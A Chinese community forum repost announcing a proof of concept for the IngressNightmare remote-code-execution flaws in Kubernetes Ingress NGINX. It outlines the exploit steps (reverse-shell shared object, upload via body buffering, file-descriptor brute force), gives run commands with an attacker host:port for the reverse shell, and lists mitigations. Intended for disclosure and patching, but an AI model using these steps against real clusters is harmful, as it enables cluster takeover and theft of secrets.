社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  NGINX

PoC 针对 Ingress NGINX 漏洞 编号 CVE-2025-1097、1098、24514、1974

Ots安全 • 6 天前 • 47 次点击  

针对 Ingress NGINX 的漏洞 - IngressNightmare

该项目针对 Kubernetes 的 Ingress NGINX Controller 中的关键未经身份验证的远程代码执行 (RCE)漏洞提供了攻击,统称为 IngressNightmare。(由Wiz研究)

在最初的研究中,Wiz 团队没有提供 PoC 或功能漏洞,因此我们决定创建自己的并与社区分享。

概述

Ingress NGINX 控制器是 Kubernetes 环境中广泛使用的组件,用于管理对集群内服务的外部访问。最近在其准入控制器中发现的漏洞(CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974)可能导致跨命名空间的所有机密遭到未经授权的访问,并可能导致集群完全被接管。

视频

漏洞利用工作流程

该漏洞主要遵循以下步骤:

  • 生成共享对象(由注入的ssl_engine属性使用): 编译包含反向 shell payload 的 .so 库(evil_engine.so)。

  • 上传共享对象: 将编译后的共享对象发送到入口 pod,利用请求处理(客户端主体缓冲区)。这里的技巧是Content-Length向服务器发送不同的内容以保持连接打开并维护文件的文件描述符打开。

  • 暴力破解 fd: 遍历进程 ID 和文件描述符(/proc/{pid}/fd/{fd})来识别引用上传对象的正确描述符。


用法

先决条件:Python 3.x GCC 编译器 Python 请求模块

运行漏洞利用:

pip3 install -r requirements.txt

python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](attacker_host:port)

EX:

python3 xpl.py http://


    
192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443

有时admission webhook位于不同的命名空间中。在这种情况下,您需要在末尾指定命名空间,例如kube-system、default或ingress-nginx。

  • :目标 Ingress URL(公共)

  • :准入 webhook URL(内部 webhook)

  • Attacker_host:port:反向 shell 的主机和端口

减轻

立即更新:将 Ingress NGINX Controller 升级到修补版本(1.12.1 或 1.11.5)。

限制准入 webhook:将对 webhook 的访问限制为仅限 Kubernetes API 服务器。

暂时禁用:如果无法立即升级,请考虑暂时禁用准入控制器组件。

项目地址:

https://github.com/hakaioffsec/IngressNightmare-PoC



感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/180467
 
47 次点击